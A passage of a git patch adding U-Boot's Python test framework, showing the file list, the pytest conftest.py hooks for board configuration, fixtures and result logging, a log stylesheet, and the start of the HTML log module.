From af1a266670d040d2f4083ff309d732d648afba2a Mon Sep 17 00:00:00 2001 From: Angelos Mouzakitis Date: Tue, 10 Oct 2023 14:33:42 +0000 Subject: Add submodule dependency files Change-Id: Iaf8d18082d3991dec7c0ebbea540f092188eb4ec --- roms/u-boot/test/py/.gitignore | 1 + roms/u-boot/test/py/conftest.py | 629 ++++++++++++++++++ roms/u-boot/test/py/multiplexed_log.css | 108 ++++ roms/u-boot/test/py/multiplexed_log.py | 709 +++++++++++++++++++++ roms/u-boot/test/py/pytest.ini | 13 + roms/u-boot/test/py/requirements.txt | 26 + roms/u-boot/test/py/test.py | 20 + roms/u-boot/test/py/tests/test_000_version.py | 19 + roms/u-boot/test/py/tests/test_android/test_ab.py | 75 +++ .../test/py/tests/test_android/test_abootimg.py | 159 +++++ roms/u-boot/test/py/tests/test_android/test_avb.py | 137 ++++ roms/u-boot/test/py/tests/test_bind.py | 179 ++++++ roms/u-boot/test/py/tests/test_button.py | 37 ++ roms/u-boot/test/py/tests/test_dfu.py | 320 ++++++++++ roms/u-boot/test/py/tests/test_dm.py | 35 + .../test/py/tests/test_efi_capsule/capsule_defs.py | 5 + .../test/py/tests/test_efi_capsule/conftest.py | 74 +++ .../test_efi_capsule/test_capsule_firmware.py | 249 ++++++++ .../py/tests/test_efi_capsule/uboot_bin_env.its | 36 ++ roms/u-boot/test/py/tests/test_efi_fit.py | 458 +++++++++++++ roms/u-boot/test/py/tests/test_efi_loader.py | 204 ++++++ .../test/py/tests/test_efi_secboot/conftest.py | 239 +++++++ roms/u-boot/test/py/tests/test_efi_secboot/defs.py | 14 + .../test/py/tests/test_efi_secboot/openssl.cnf | 48 ++ .../test/py/tests/test_efi_secboot/test_authvar.py | 281 ++++++++ .../test/py/tests/test_efi_secboot/test_signed.py | 259 ++++++++ .../py/tests/test_efi_secboot/test_signed_intca.py | 135 ++++ .../py/tests/test_efi_secboot/test_unsigned.py | 117 ++++ roms/u-boot/test/py/tests/test_efi_selftest.py | 214 +++++++ roms/u-boot/test/py/tests/test_env.py | 517 +++++++++++++++ roms/u-boot/test/py/tests/test_extension.py | 53 ++ roms/u-boot/test/py/tests/test_fit.py | 460 +++++++++++++ roms/u-boot/test/py/tests/test_fit_ecdsa.py | 111 ++++ roms/u-boot/test/py/tests/test_fpga.py | 565 ++++++++++++++++ roms/u-boot/test/py/tests/test_fs/conftest.py | 662 +++++++++++++++++++ roms/u-boot/test/py/tests/test_fs/fstest_defs.py | 16 + .../u-boot/test/py/tests/test_fs/fstest_helpers.py | 13 + roms/u-boot/test/py/tests/test_fs/test_basic.py | 292 +++++++++ roms/u-boot/test/py/tests/test_fs/test_ext.py | 319 +++++++++ roms/u-boot/test/py/tests/test_fs/test_fs_cmd.py | 13 + roms/u-boot/test/py/tests/test_fs/test_mkdir.py | 121 ++++ .../py/tests/test_fs/test_squashfs/sqfs_common.py | 76 +++ .../tests/test_fs/test_squashfs/test_sqfs_load.py | 46 ++ .../py/tests/test_fs/test_squashfs/test_sqfs_ls.py | 36 ++ roms/u-boot/test/py/tests/test_fs/test_symlink.py | 130 ++++ roms/u-boot/test/py/tests/test_fs/test_unlink.py | 118 ++++ roms/u-boot/test/py/tests/test_gpio.py | 37 ++ roms/u-boot/test/py/tests/test_gpt.py | 178 ++++++ roms/u-boot/test/py/tests/test_handoff.py | 15 + roms/u-boot/test/py/tests/test_help.py | 8 + roms/u-boot/test/py/tests/test_hush_if_test.py | 192 ++++++ roms/u-boot/test/py/tests/test_log.py | 48 ++ roms/u-boot/test/py/tests/test_lsblk.py | 13 + roms/u-boot/test/py/tests/test_md.py | 36 ++ roms/u-boot/test/py/tests/test_mmc_rd.py | 286 +++++++++ roms/u-boot/test/py/tests/test_mmc_wr.py | 105 +++ roms/u-boot/test/py/tests/test_net.py | 208 ++++++ roms/u-boot/test/py/tests/test_ofplatdata.py | 23 + roms/u-boot/test/py/tests/test_part.py | 14 + roms/u-boot/test/py/tests/test_pinmux.py | 84 +++ roms/u-boot/test/py/tests/test_pstore.py | 77 +++ .../test/py/tests/test_pstore_data_console.hex | Bin 0 -> 4096 bytes .../test/py/tests/test_pstore_data_panic1.hex | Bin 0 -> 4096 bytes .../test/py/tests/test_pstore_data_panic2.hex | Bin 0 -> 4096 bytes roms/u-boot/test/py/tests/test_qfw.py | 26 + roms/u-boot/test/py/tests/test_sandbox_exit.py | 45 ++ roms/u-boot/test/py/tests/test_scp03.py | 27 + roms/u-boot/test/py/tests/test_sf.py | 217 +++++++ roms/u-boot/test/py/tests/test_shell_basics.py | 45 ++ roms/u-boot/test/py/tests/test_sleep.py | 43 ++ roms/u-boot/test/py/tests/test_spl.py | 34 + roms/u-boot/test/py/tests/test_stackprotector.py | 14 + roms/u-boot/test/py/tests/test_tpm2.py | 233 +++++++ roms/u-boot/test/py/tests/test_ums.py | 236 +++++++ roms/u-boot/test/py/tests/test_unknown_cmd.py | 13 + roms/u-boot/test/py/tests/test_ut.py | 43 ++ roms/u-boot/test/py/tests/test_vboot.py | 401 ++++++++++++ roms/u-boot/test/py/tests/vboot/sandbox-kernel.dts | 7 + roms/u-boot/test/py/tests/vboot/sandbox-u-boot.dts | 10 + .../test/py/tests/vboot/sign-configs-sha1-pss.its | 46 ++ .../test/py/tests/vboot/sign-configs-sha1.its | 45 ++ .../tests/vboot/sign-configs-sha256-pss-prod.its | 46 ++ .../py/tests/vboot/sign-configs-sha256-pss.its | 46 ++ .../test/py/tests/vboot/sign-configs-sha256.its | 45 ++ .../test/py/tests/vboot/sign-images-sha1-pss.its | 44 ++ .../test/py/tests/vboot/sign-images-sha1.its | 42 ++ .../test/py/tests/vboot/sign-images-sha256-pss.its | 44 ++ .../test/py/tests/vboot/sign-images-sha256.its | 42 ++ roms/u-boot/test/py/tests/vboot_evil.py | 485 ++++++++++++++ roms/u-boot/test/py/tests/vboot_forge.py | 423 ++++++++++++ roms/u-boot/test/py/u_boot_console_base.py | 478 ++++++++++++++ roms/u-boot/test/py/u_boot_console_exec_attach.py | 70 ++ roms/u-boot/test/py/u_boot_console_sandbox.py | 108 ++++ roms/u-boot/test/py/u_boot_spawn.py | 209 ++++++ roms/u-boot/test/py/u_boot_utils.py | 341 ++++++++++ 95 files changed, 13580 insertions(+) create mode 100644 roms/u-boot/test/py/.gitignore create mode 100644 roms/u-boot/test/py/conftest.py create mode 100644 roms/u-boot/test/py/multiplexed_log.css create mode 100644 roms/u-boot/test/py/multiplexed_log.py create mode 100644 roms/u-boot/test/py/pytest.ini create mode 100644 roms/u-boot/test/py/requirements.txt create mode 100755 roms/u-boot/test/py/test.py create mode 100644 roms/u-boot/test/py/tests/test_000_version.py create mode 100644 roms/u-boot/test/py/tests/test_android/test_ab.py create mode 100644 roms/u-boot/test/py/tests/test_android/test_abootimg.py create mode 100644 roms/u-boot/test/py/tests/test_android/test_avb.py create mode 100644 roms/u-boot/test/py/tests/test_bind.py create mode 100644 roms/u-boot/test/py/tests/test_button.py create mode 100644 roms/u-boot/test/py/tests/test_dfu.py create mode 100644 roms/u-boot/test/py/tests/test_dm.py create mode 100644 roms/u-boot/test/py/tests/test_efi_capsule/capsule_defs.py create mode 100644 roms/u-boot/test/py/tests/test_efi_capsule/conftest.py create mode 100644 roms/u-boot/test/py/tests/test_efi_capsule/test_capsule_firmware.py create mode 100644 roms/u-boot/test/py/tests/test_efi_capsule/uboot_bin_env.its create mode 100644 roms/u-boot/test/py/tests/test_efi_fit.py create mode 100644 roms/u-boot/test/py/tests/test_efi_loader.py create mode 100644 roms/u-boot/test/py/tests/test_efi_secboot/conftest.py create mode 100644 roms/u-boot/test/py/tests/test_efi_secboot/defs.py create mode 100644 roms/u-boot/test/py/tests/test_efi_secboot/openssl.cnf create mode 100644 roms/u-boot/test/py/tests/test_efi_secboot/test_authvar.py create mode 100644 roms/u-boot/test/py/tests/test_efi_secboot/test_signed.py create mode 100644 roms/u-boot/test/py/tests/test_efi_secboot/test_signed_intca.py create mode 100644 roms/u-boot/test/py/tests/test_efi_secboot/test_unsigned.py create mode 100644 roms/u-boot/test/py/tests/test_efi_selftest.py create mode 100644 roms/u-boot/test/py/tests/test_env.py create mode 100644 roms/u-boot/test/py/tests/test_extension.py create mode 100755 roms/u-boot/test/py/tests/test_fit.py create mode 100644 roms/u-boot/test/py/tests/test_fit_ecdsa.py create mode 100644 roms/u-boot/test/py/tests/test_fpga.py create mode 100644 roms/u-boot/test/py/tests/test_fs/conftest.py create mode 100644 roms/u-boot/test/py/tests/test_fs/fstest_defs.py create mode 100644 roms/u-boot/test/py/tests/test_fs/fstest_helpers.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_basic.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_ext.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_fs_cmd.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_mkdir.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_squashfs/sqfs_common.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_load.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_squashfs/test_sqfs_ls.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_symlink.py create mode 100644 roms/u-boot/test/py/tests/test_fs/test_unlink.py create mode 100644 roms/u-boot/test/py/tests/test_gpio.py create mode 100644 roms/u-boot/test/py/tests/test_gpt.py create mode 100644 roms/u-boot/test/py/tests/test_handoff.py create mode 100644 roms/u-boot/test/py/tests/test_help.py create mode 100644 roms/u-boot/test/py/tests/test_hush_if_test.py create mode 100644 roms/u-boot/test/py/tests/test_log.py create mode 100644 roms/u-boot/test/py/tests/test_lsblk.py create mode 100644 roms/u-boot/test/py/tests/test_md.py create mode 100644 roms/u-boot/test/py/tests/test_mmc_rd.py create mode 100644 roms/u-boot/test/py/tests/test_mmc_wr.py create mode 100644 roms/u-boot/test/py/tests/test_net.py create mode 100644 roms/u-boot/test/py/tests/test_ofplatdata.py create mode 100644 roms/u-boot/test/py/tests/test_part.py create mode 100644 roms/u-boot/test/py/tests/test_pinmux.py create mode 100644 roms/u-boot/test/py/tests/test_pstore.py create mode 100644 roms/u-boot/test/py/tests/test_pstore_data_console.hex create mode 100644 roms/u-boot/test/py/tests/test_pstore_data_panic1.hex create mode 100644 roms/u-boot/test/py/tests/test_pstore_data_panic2.hex create mode 100644 roms/u-boot/test/py/tests/test_qfw.py create mode 100644 roms/u-boot/test/py/tests/test_sandbox_exit.py create mode 100644 roms/u-boot/test/py/tests/test_scp03.py create mode 100644 roms/u-boot/test/py/tests/test_sf.py create mode 100644 roms/u-boot/test/py/tests/test_shell_basics.py create mode 100644 roms/u-boot/test/py/tests/test_sleep.py create mode 100644 roms/u-boot/test/py/tests/test_spl.py create mode 100644 roms/u-boot/test/py/tests/test_stackprotector.py create mode 100644 roms/u-boot/test/py/tests/test_tpm2.py create mode 100644 roms/u-boot/test/py/tests/test_ums.py create mode 100644 roms/u-boot/test/py/tests/test_unknown_cmd.py create mode 100644 roms/u-boot/test/py/tests/test_ut.py create mode 100644 roms/u-boot/test/py/tests/test_vboot.py create mode 100644 roms/u-boot/test/py/tests/vboot/sandbox-kernel.dts create mode 100644 roms/u-boot/test/py/tests/vboot/sandbox-u-boot.dts create mode 100644 roms/u-boot/test/py/tests/vboot/sign-configs-sha1-pss.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-configs-sha1.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss-prod.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-configs-sha256-pss.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-configs-sha256.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-images-sha1-pss.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-images-sha1.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-images-sha256-pss.its create mode 100644 roms/u-boot/test/py/tests/vboot/sign-images-sha256.its create mode 100644 roms/u-boot/test/py/tests/vboot_evil.py create mode 100644 roms/u-boot/test/py/tests/vboot_forge.py create mode 100644 roms/u-boot/test/py/u_boot_console_base.py create mode 100644 roms/u-boot/test/py/u_boot_console_exec_attach.py create mode 100644 roms/u-boot/test/py/u_boot_console_sandbox.py create mode 100644 roms/u-boot/test/py/u_boot_spawn.py create mode 100644 roms/u-boot/test/py/u_boot_utils.py (limited to 'roms/u-boot/test/py') diff --git a/roms/u-boot/test/py/.gitignore b/roms/u-boot/test/py/.gitignore new file mode 100644 index 000000000..0d20b6487 --- /dev/null +++ b/roms/u-boot/test/py/.gitignore @@ -0,0 +1 @@ +*.pyc diff --git a/roms/u-boot/test/py/conftest.py b/roms/u-boot/test/py/conftest.py new file mode 100644 index 000000000..11a3f307e --- /dev/null +++ b/roms/u-boot/test/py/conftest.py @@ -0,0 +1,629 @@ +# SPDX-License-Identifier: GPL-2.0 +# Copyright (c) 2015 Stephen Warren +# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved. + +# Implementation of pytest run-time hook functions. These are invoked by +# pytest at certain points during operation, e.g. startup, for each executed +# test, at shutdown etc. These hooks perform functions such as: +# - Parsing custom command-line options. +# - Pullilng in user-specified board configuration. +# - Creating the U-Boot console test fixture. +# - Creating the HTML log file. +# - Monitoring each test's results. +# - Implementing custom pytest markers. + +import atexit +import configparser +import errno +import io +import os +import os.path +import pytest +import re +from _pytest.runner import runtestprotocol +import sys + +# Globals: The HTML log file, and the connection to the U-Boot console. +log = None +console = None + +def mkdir_p(path): + """Create a directory path. + + This includes creating any intermediate/parent directories. Any errors + caused due to already extant directories are ignored. + + Args: + path: The directory path to create. + + Returns: + Nothing. + """ + + try: + os.makedirs(path) + except OSError as exc: + if exc.errno == errno.EEXIST and os.path.isdir(path): + pass + else: + raise + +def pytest_addoption(parser): + """pytest hook: Add custom command-line options to the cmdline parser. + + Args: + parser: The pytest command-line parser. + + Returns: + Nothing. + """ + + parser.addoption('--build-dir', default=None, + help='U-Boot build directory (O=)') + parser.addoption('--result-dir', default=None, + help='U-Boot test result/tmp directory') + parser.addoption('--persistent-data-dir', default=None, + help='U-Boot test persistent generated data directory') + parser.addoption('--board-type', '--bd', '-B', default='sandbox', + help='U-Boot board type') + parser.addoption('--board-identity', '--id', default='na', + help='U-Boot board identity/instance') + parser.addoption('--build', default=False, action='store_true', + help='Compile U-Boot before running tests') + parser.addoption('--buildman', default=False, action='store_true', + help='Use buildman to build U-Boot (assuming --build is given)') + parser.addoption('--gdbserver', default=None, + help='Run sandbox under gdbserver. The argument is the channel '+ + 'over which gdbserver should communicate, e.g. localhost:1234') + +def pytest_configure(config): + """pytest hook: Perform custom initialization at startup time. + + Args: + config: The pytest configuration. + + Returns: + Nothing. + """ + def parse_config(conf_file): + """Parse a config file, loading it into the ubconfig container + + Args: + conf_file: Filename to load (within build_dir) + + Raises + Exception if the file does not exist + """ + dot_config = build_dir + '/' + conf_file + if not os.path.exists(dot_config): + raise Exception(conf_file + ' does not exist; ' + + 'try passing --build option?') + + with open(dot_config, 'rt') as f: + ini_str = '[root]\n' + f.read() + ini_sio = io.StringIO(ini_str) + parser = configparser.RawConfigParser() + parser.read_file(ini_sio) + ubconfig.buildconfig.update(parser.items('root')) + + global log + global console + global ubconfig + + test_py_dir = os.path.dirname(os.path.abspath(__file__)) + source_dir = os.path.dirname(os.path.dirname(test_py_dir)) + + board_type = config.getoption('board_type') + board_type_filename = board_type.replace('-', '_') + + board_identity = config.getoption('board_identity') + board_identity_filename = board_identity.replace('-', '_') + + build_dir = config.getoption('build_dir') + if not build_dir: + build_dir = source_dir + '/build-' + board_type + mkdir_p(build_dir) + + result_dir = config.getoption('result_dir') + if not result_dir: + result_dir = build_dir + mkdir_p(result_dir) + + persistent_data_dir = config.getoption('persistent_data_dir') + if not persistent_data_dir: + persistent_data_dir = build_dir + '/persistent-data' + mkdir_p(persistent_data_dir) + + gdbserver = config.getoption('gdbserver') + if gdbserver and not board_type.startswith('sandbox'): + raise Exception('--gdbserver only supported with sandbox targets') + + import multiplexed_log + log = multiplexed_log.Logfile(result_dir + '/test-log.html') + + if config.getoption('build'): + if config.getoption('buildman'): + if build_dir != source_dir: + dest_args = ['-o', build_dir, '-w'] + else: + dest_args = ['-i'] + cmds = (['buildman', '--board', board_type] + dest_args,) + name = 'buildman' + else: + if build_dir != source_dir: + o_opt = 'O=%s' % build_dir + else: + o_opt = '' + cmds = ( + ['make', o_opt, '-s', board_type + '_defconfig'], + ['make', o_opt, '-s', '-j{}'.format(os.cpu_count())], + ) + name = 'make' + + with log.section(name): + runner = log.get_runner(name, sys.stdout) + for cmd in cmds: + runner.run(cmd, cwd=source_dir) + runner.close() + log.status_pass('OK') + + class ArbitraryAttributeContainer(object): + pass + + ubconfig = ArbitraryAttributeContainer() + ubconfig.brd = dict() + ubconfig.env = dict() + + modules = [ + (ubconfig.brd, 'u_boot_board_' + board_type_filename), + (ubconfig.env, 'u_boot_boardenv_' + board_type_filename), + (ubconfig.env, 'u_boot_boardenv_' + board_type_filename + '_' + + board_identity_filename), + ] + for (dict_to_fill, module_name) in modules: + try: + module = __import__(module_name) + except ImportError: + continue + dict_to_fill.update(module.__dict__) + + ubconfig.buildconfig = dict() + + # buildman -k puts autoconf.mk in the rootdir, so handle this as well + # as the standard U-Boot build which leaves it in include/autoconf.mk + parse_config('.config') + if os.path.exists(build_dir + '/' + 'autoconf.mk'): + parse_config('autoconf.mk') + else: + parse_config('include/autoconf.mk') + + ubconfig.test_py_dir = test_py_dir + ubconfig.source_dir = source_dir + ubconfig.build_dir = build_dir + ubconfig.result_dir = result_dir + ubconfig.persistent_data_dir = persistent_data_dir + ubconfig.board_type = board_type + ubconfig.board_identity = board_identity + ubconfig.gdbserver = gdbserver + ubconfig.dtb = build_dir + '/arch/sandbox/dts/test.dtb' + + env_vars = ( + 'board_type', + 'board_identity', + 'source_dir', + 'test_py_dir', + 'build_dir', + 'result_dir', + 'persistent_data_dir', + ) + for v in env_vars: + os.environ['U_BOOT_' + v.upper()] = getattr(ubconfig, v) + + if board_type.startswith('sandbox'): + import u_boot_console_sandbox + console = u_boot_console_sandbox.ConsoleSandbox(log, ubconfig) + else: + import u_boot_console_exec_attach + console = u_boot_console_exec_attach.ConsoleExecAttach(log, ubconfig) + +re_ut_test_list = re.compile(r'[^a-zA-Z0-9_]_u_boot_list_2_ut_(.*)_test_2_\1_test_(.*)\s*$') +def generate_ut_subtest(metafunc, fixture_name, sym_path): + """Provide parametrization for a ut_subtest fixture. + + Determines the set of unit tests built into a U-Boot binary by parsing the + list of symbols generated by the build process. Provides this information + to test functions by parameterizing their ut_subtest fixture parameter. + + Args: + metafunc: The pytest test function. + fixture_name: The fixture name to test. + sym_path: Relative path to the symbol file with preceding '/' + (e.g. '/u-boot.sym') + + Returns: + Nothing. + """ + fn = console.config.build_dir + sym_path + try: + with open(fn, 'rt') as f: + lines = f.readlines() + except: + lines = [] + lines.sort() + + vals = [] + for l in lines: + m = re_ut_test_list.search(l) + if not m: + continue + vals.append(m.group(1) + ' ' + m.group(2)) + + ids = ['ut_' + s.replace(' ', '_') for s in vals] + metafunc.parametrize(fixture_name, vals, ids=ids) + +def generate_config(metafunc, fixture_name): + """Provide parametrization for {env,brd}__ fixtures. + + If a test function takes parameter(s) (fixture names) of the form brd__xxx + or env__xxx, the brd and env configuration dictionaries are consulted to + find the list of values to use for those parameters, and the test is + parametrized so that it runs once for each combination of values. + + Args: + metafunc: The pytest test function. + fixture_name: The fixture name to test. + + Returns: + Nothing. + """ + + subconfigs = { + 'brd': console.config.brd, + 'env': console.config.env, + } + parts = fixture_name.split('__') + if len(parts) < 2: + return + if parts[0] not in subconfigs: + return + subconfig = subconfigs[parts[0]] + vals = [] + val = subconfig.get(fixture_name, []) + # If that exact name is a key in the data source: + if val: + # ... use the dict value as a single parameter value. + vals = (val, ) + else: + # ... otherwise, see if there's a key that contains a list of + # values to use instead. + vals = subconfig.get(fixture_name+ 's', []) + def fixture_id(index, val): + try: + return val['fixture_id'] + except: + return fixture_name + str(index) + ids = [fixture_id(index, val) for (index, val) in enumerate(vals)] + metafunc.parametrize(fixture_name, vals, ids=ids) + +def pytest_generate_tests(metafunc): + """pytest hook: parameterize test functions based on custom rules. + + Check each test function parameter (fixture name) to see if it is one of + our custom names, and if so, provide the correct parametrization for that + parameter. + + Args: + metafunc: The pytest test function. + + Returns: + Nothing. + """ + for fn in metafunc.fixturenames: + if fn == 'ut_subtest': + generate_ut_subtest(metafunc, fn, '/u-boot.sym') + continue + if fn == 'ut_spl_subtest': + generate_ut_subtest(metafunc, fn, '/spl/u-boot-spl.sym') + continue + generate_config(metafunc, fn) + +@pytest.fixture(scope='session') +def u_boot_log(request): + """Generate the value of a test's log fixture. + + Args: + request: The pytest request. + + Returns: + The fixture value. + """ + + return console.log + +@pytest.fixture(scope='session') +def u_boot_config(request): + """Generate the value of a test's u_boot_config fixture. + + Args: + request: The pytest request. + + Returns: + The fixture value. + """ + + return console.config + +@pytest.fixture(scope='function') +def u_boot_console(request): + """Generate the value of a test's u_boot_console fixture. + + Args: + request: The pytest request. + + Returns: + The fixture value. + """ + + console.ensure_spawned() + return console + +anchors = {} +tests_not_run = [] +tests_failed = [] +tests_xpassed = [] +tests_xfailed = [] +tests_skipped = [] +tests_warning = [] +tests_passed = [] + +def pytest_itemcollected(item): + """pytest hook: Called once for each test found during collection. + + This enables our custom result analysis code to see the list of all tests + that should eventually be run. + + Args: + item: The item that was collected. + + Returns: + Nothing. + """ + + tests_not_run.append(item.name) + +def cleanup(): + """Clean up all global state. + + Executed (via atexit) once the entire test process is complete. This + includes logging the status of all tests, and the identity of any failed + or skipped tests. + + Args: + None. + + Returns: + Nothing. + """ + + if console: + console.close() + if log: + with log.section('Status Report', 'status_report'): + log.status_pass('%d passed' % len(tests_passed)) + if tests_warning: + log.status_warning('%d passed with warning' % len(tests_warning)) + for test in tests_warning: + anchor = anchors.get(test, None) + log.status_warning('... ' + test, anchor) + if tests_skipped: + log.status_skipped('%d skipped' % len(tests_skipped)) + for test in tests_skipped: + anchor = anchors.get(test, None) + log.status_skipped('... ' + test, anchor) + if tests_xpassed: + log.status_xpass('%d xpass' % len(tests_xpassed)) + for test in tests_xpassed: + anchor = anchors.get(test, None) + log.status_xpass('... ' + test, anchor) + if tests_xfailed: + log.status_xfail('%d xfail' % len(tests_xfailed)) + for test in tests_xfailed: + anchor = anchors.get(test, None) + log.status_xfail('... ' + test, anchor) + if tests_failed: + log.status_fail('%d failed' % len(tests_failed)) + for test in tests_failed: + anchor = anchors.get(test, None) + log.status_fail('... ' + test, anchor) + if tests_not_run: + log.status_fail('%d not run' % len(tests_not_run)) + for test in tests_not_run: + anchor = anchors.get(test, None) + log.status_fail('... ' + test, anchor) + log.close() +atexit.register(cleanup) + +def setup_boardspec(item): + """Process any 'boardspec' marker for a test. + + Such a marker lists the set of board types that a test does/doesn't + support. If tests are being executed on an unsupported board, the test is + marked to be skipped. + + Args: + item: The pytest test item. + + Returns: + Nothing. + """ + + required_boards = [] + for boards in item.iter_markers('boardspec'): + board = boards.args[0] + if board.startswith('!'): + if ubconfig.board_type == board[1:]: + pytest.skip('board "%s" not supported' % ubconfig.board_type) + return + else: + required_boards.append(board) + if required_boards and ubconfig.board_type not in required_boards: + pytest.skip('board "%s" not supported' % ubconfig.board_type) + +def setup_buildconfigspec(item): + """Process any 'buildconfigspec' marker for a test. + + Such a marker lists some U-Boot configuration feature that the test + requires. If tests are being executed on an U-Boot build that doesn't + have the required feature, the test is marked to be skipped. + + Args: + item: The pytest test item. + + Returns: + Nothing. + """ + + for options in item.iter_markers('buildconfigspec'): + option = options.args[0] + if not ubconfig.buildconfig.get('config_' + option.lower(), None): + pytest.skip('.config feature "%s" not enabled' % option.lower()) + for options in item.iter_markers('notbuildconfigspec'): + option = options.args[0] + if ubconfig.buildconfig.get('config_' + option.lower(), None): + pytest.skip('.config feature "%s" enabled' % option.lower()) + +def tool_is_in_path(tool): + for path in os.environ["PATH"].split(os.pathsep): + fn = os.path.join(path, tool) + if os.path.isfile(fn) and os.access(fn, os.X_OK): + return True + return False + +def setup_requiredtool(item): + """Process any 'requiredtool' marker for a test. + + Such a marker lists some external tool (binary, executable, application) + that the test requires. If tests are being executed on a system that + doesn't have the required tool, the test is marked to be skipped. + + Args: + item: The pytest test item. + + Returns: + Nothing. + """ + + for tools in item.iter_markers('requiredtool'): + tool = tools.args[0] + if not tool_is_in_path(tool): + pytest.skip('tool "%s" not in $PATH' % tool) + +def start_test_section(item): + anchors[item.name] = log.start_section(item.name) + +def pytest_runtest_setup(item): + """pytest hook: Configure (set up) a test item. + + Called once for each test to perform any custom configuration. This hook + is used to skip the test if certain conditions apply. + + Args: + item: The pytest test item. + + Returns: + Nothing. + """ + + start_test_section(item) + setup_boardspec(item) + setup_buildconfigspec(item) + setup_requiredtool(item) + +def pytest_runtest_protocol(item, nextitem): + """pytest hook: Called to execute a test. + + This hook wraps the standard pytest runtestprotocol() function in order + to acquire visibility into, and record, each test function's result. + + Args: + item: The pytest test item to execute. + nextitem: The pytest test item that will be executed after this one. + + Returns: + A list of pytest reports (test result data). + """ + + log.get_and_reset_warning() + ihook = item.ihook + ihook.pytest_runtest_logstart(nodeid=item.nodeid, location=item.location) + reports = runtestprotocol(item, nextitem=nextitem) + ihook.pytest_runtest_logfinish(nodeid=item.nodeid, location=item.location) + was_warning = log.get_and_reset_warning() + + # In pytest 3, runtestprotocol() may not call pytest_runtest_setup() if + # the test is skipped. That call is required to create the test's section + # in the log file. The call to log.end_section() requires that the log + # contain a section for this test. Create a section for the test if it + # doesn't already exist. + if not item.name in anchors: + start_test_section(item) + + failure_cleanup = False + if not was_warning: + test_list = tests_passed + msg = 'OK' + msg_log = log.status_pass + else: + test_list = tests_warning + msg = 'OK (with warning)' + msg_log = log.status_warning + for report in reports: + if report.outcome == 'failed': + if hasattr(report, 'wasxfail'): + test_list = tests_xpassed + msg = 'XPASSED' + msg_log = log.status_xpass + else: + failure_cleanup = True + test_list = tests_failed + msg = 'FAILED:\n' + str(report.longrepr) + msg_log = log.status_fail + break + if report.outcome == 'skipped': + if hasattr(report, 'wasxfail'): + failure_cleanup = True + test_list = tests_xfailed + msg = 'XFAILED:\n' + str(report.longrepr) + msg_log = log.status_xfail + break + test_list = tests_skipped + msg = 'SKIPPED:\n' + str(report.longrepr) + msg_log = log.status_skipped + + if failure_cleanup: + console.drain_console() + + test_list.append(item.name) + tests_not_run.remove(item.name) + + try: + msg_log(msg) + except: + # If something went wrong with logging, it's better to let the test + # process continue, which may report other exceptions that triggered + # the logging issue (e.g. console.log wasn't created). Hence, just + # squash the exception. If the test setup failed due to e.g. syntax + # error somewhere else, this won't be seen. However, once that issue + # is fixed, if this exception still exists, it will then be logged as + # part of the test's stdout. + import traceback + print('Exception occurred while logging runtest status:') + traceback.print_exc() + # FIXME: Can we force a test failure here? + + log.end_section(item.name) + + if failure_cleanup: + console.cleanup_spawn() + + return True diff --git a/roms/u-boot/test/py/multiplexed_log.css b/roms/u-boot/test/py/multiplexed_log.css new file mode 100644 index 000000000..3db992722 --- /dev/null +++ b/roms/u-boot/test/py/multiplexed_log.css @@ -0,0 +1,108 @@ +/* SPDX-License-Identifier: GPL-2.0 */ +/* + * Copyright (c) 2015 Stephen Warren + * Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved. + */ + +/* + * This provides pretty formatting of the HTML log file, e.g. + * - colored bars beside/above log sections for easily parsed delineation. + * - color highlighting of various messages. + */ + +body { + background-color: black; + color: #ffffff; +} + +pre { + margin-top: 0px; + margin-bottom: 0px; +} + +.implicit { + color: #808080; +} + +.block { + border-style: solid; + border-color: #303030; + border-width: 0px 0px 0px 5px; + padding-left: 5px +} + +.block-header { + background-color: #303030; + margin-left: -5px; + margin-top: 5px; +} + +.block-header:hover { + text-decoration: underline; +} + +.block-trailer { + display: none; +} + +.error { + color: #ff0000 +} + +.warning { + color: #ffff00 +} + +.info { + color: #808080 +} + +.action { + color: #8080ff +} + +.timestamp { + color: #8080ff +} + +.status-pass { + color: #00ff00 +} + +.status-warning { + color: #ffff00 +} + +.status-skipped { + color: #ffff00 +} + +.status-xfail { + color: #ff7f00 +} + +.status-xpass { + color: #ff7f00 +} + +.status-fail { + color: #ff0000 +} + +.hidden { + display: none; +} + +a:link { + text-decoration: inherit; + color: inherit; +} + +a:visited { + text-decoration: inherit; + color: inherit; +} + +a:hover { + text-decoration: underline; +} diff --git a/roms/u-boot/test/py/multiplexed_log.py b/roms/u-boot/test/py/multiplexed_log.py new file mode 100644 index 000000000..545a77430 --- /dev/null +++ b/roms/u-boot/test/py/multiplexed_log.py @@ -0,0 +1,709 @@ +# SPDX-License-Identifier: GPL-2.0 +# Copyright (c) 2015 Stephen Warren +# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved. + +# Generate an HTML-formatted log file containing multiple streams of data, +# each represented in a well-delineated/-structured fashion. + +import datetime +import html +import os.path +import shutil +import subprocess + +mod_dir = os.path.dirname(os.path.abspath(__file__)) + +class LogfileStream(object): + """A file-like object used to write a single logical stream of data into + a multiplexed log file. Objects of this type should be created by factory + functions in the Logfile class rather than directly.""" + + def __init__(self, logfile, name, chained_file): + """Initialize a new object. + + Args: + logfile: The Logfile object to log to. + name: The name of this log stream. + chained_file: The file-like object to which all stream data should be + logged to in addition to logfile. Can be None. + + Returns: + Nothing. + """ + + self.logfile = logfile + self.name = name + self.chained_file = chained_file + + def close(self): + """Dummy function so that this class is "file-like". + + Args: + None. + + Returns: + Nothing. + """ + + pass + + def write(self, data, implicit=False): + """Write data to the log stream. + + Args: + data: The data to write to the file. + implicit: Boolean indicating whether data actually appeared in the + stream, or was implicitly 